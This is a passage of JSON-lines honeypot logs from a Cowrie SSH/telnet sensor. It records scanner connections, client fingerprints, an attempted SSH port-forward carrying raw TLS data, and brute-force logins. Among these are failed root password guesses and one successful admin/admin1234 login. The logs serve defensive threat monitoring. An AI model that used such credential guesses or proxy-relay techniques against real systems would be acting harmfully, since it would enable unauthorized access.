\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 q\\x86\"\\xb6\\xd9\\x95?\\x0f\\x82\\xbc\\x95\\xe5uu\\x12|\\xac0\\x9e\\x13\\x10\\xeaV\\xcb\\x0fK\\xd5\\xf5\\x94\\xdbO\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:47.851941Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:48.111090Z","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:48.360929Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Y*\\xbeX\\x9a\\x80\\xa1\\xf2\\xa6\\x9c?c\\x00\\x9b\\xcfw\\xa7\\x007/\\x83\\xaf\\x1b\\x87\\x1e\\x8fg\\x88\\x1a5W_ *2\\xcc>\\x0b\\xbf?\\xbc\\x13d\\x95\\xc0~\\xb5\\r\\xab\\xad\\xb3\\xc2\\xc4h\\xe8\\x1f\\xc7\\xfc\\x07\\xcc1\\x82\\xdd\\x1b\\x9c\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcbb\\x06\\xa7\\xf6\\x82[\\xdf\\x19\\xd6\\x0c\\x8bj\\xdcO\\xf6\\xc8%\\xa9\"\\x16\\x86\\x8e\\xe5\\xfbv\\xd4\\xa4\\xbb\\xbf\\xa8\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Y*\\xbeX\\x9a\\x80\\xa1\\xf2\\xa6\\x9c?c\\x00\\x9b\\xcfw\\xa7\\x007/\\x83\\xaf\\x1b\\x87\\x1e\\x8fg\\x88\\x1a5W_ *2\\xcc>\\x0b\\xbf?\\xbc\\x13d\\x95\\xc0~\\xb5\\r\\xab\\xad\\xb3\\xc2\\xc4h\\xe8\\x1f\\xc7\\xfc\\x07\\xcc1\\x82\\xdd\\x1b\\x9c\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcbb\\x06\\xa7\\xf6\\x82[\\xdf\\x19\\xd6\\x0c\\x8bj\\xdcO\\xf6\\xc8%\\xa9\"\\x16\\x86\\x8e\\xe5\\xfbv\\xd4\\xa4\\xbb\\xbf\\xa8\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:48.364551Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:48.733484Z","src_ip":"123.27.168.40","session":"005345f2b6f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.110.171","src_port":57010,"dst_ip":"159.203.135.109","dst_port":22,"session":"6335243d70a5","protocol":"ssh","message":"New connection: 118.26.110.171:57010 (159.203.135.109:22) [session: 6335243d70a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:04.102939Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:04.331801Z","src_ip":"118.26.110.171","session":"6335243d70a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.3981580734253,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:11.025817Z","src_ip":"94.23.66.112","session":"ff93125ffc48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47860,"dst_ip":"159.203.135.109","dst_port":23,"session":"58f56b13d0d9","protocol":"telnet","message":"New connection: 107.6.151.170:47860 (159.203.135.109:23) [session: 58f56b13d0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:22.711114Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46472,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c5421e60b5","protocol":"telnet","message":"New connection: 128.199.8.54:46472 (159.203.135.109:23) [session: 93c5421e60b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:22.732111Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.170.164.247","src_port":49838,"dst_ip":"159.203.135.109","dst_port":23,"session":"08006ae8a7fd","protocol":"telnet","message":"New connection: 111.170.164.247:49838 (159.203.135.109:23) [session: 08006ae8a7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:29.543832Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.170.164.247","src_port":49828,"dst_ip":"159.203.135.109","dst_port":23,"session":"3287c5b19c00","protocol":"telnet","message":"New connection: 111.170.164.247:49828 (159.203.135.109:23) [session: 3287c5b19c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:29.601979Z"}
{"eventid":"cowrie.session.closed","duration":90.17064762115479,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:35.291195Z","src_ip":"128.199.8.54","session":"f69a14960471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":53544,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf2dfb8d35eb","protocol":"ssh","message":"New connection: 109.237.96.109:53544 (159.203.135.109:22) [session: cf2dfb8d35eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:36.905782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:36.910036Z","src_ip":"109.237.96.109","session":"cf2dfb8d35eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:37.003337Z","src_ip":"109.237.96.109","session":"cf2dfb8d35eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluton","message":"login attempt [root/pluton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:37.283447Z","src_ip":"109.237.96.109","session":"cf2dfb8d35eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:38.377582Z","src_ip":"109.237.96.109","session":"cf2dfb8d35eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":57933,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f4eb6b52019","protocol":"ssh","message":"New connection: 23.175.50.52:57933 (10.17.0.5:22) [session: 8f4eb6b52019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:43.087216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:43.091496Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35382,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aee0f0ef573","protocol":"ssh","message":"New connection: 193.37.70.224:35382 (159.203.135.109:22) [session: 1aee0f0ef573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:43.521962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:43.525715Z","src_ip":"193.37.70.224","session":"1aee0f0ef573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:43.613787Z","src_ip":"193.37.70.224","session":"1aee0f0ef573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dortmund","message":"login attempt [root/dortmund] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:43.881985Z","src_ip":"193.37.70.224","session":"1aee0f0ef573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:44.161588Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39030,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3946000ada2","protocol":"telnet","message":"New connection: 172.81.62.90:39030 (159.203.135.109:23) [session: a3946000ada2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:44.305621Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:44.974932Z","src_ip":"193.37.70.224","session":"1aee0f0ef573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59508,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6e82615fa77","protocol":"telnet","message":"New connection: 128.199.8.54:59508 (159.203.135.109:23) [session: a6e82615fa77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:49.650280Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":64092,"dst_ip":"10.17.0.5","dst_port":22,"session":"18180ea557ce","protocol":"ssh","message":"New connection: 173.208.192.194:64092 (10.17.0.5:22) [session: 18180ea557ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:49.936187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:49.940333Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:50.044944Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:50.714684Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
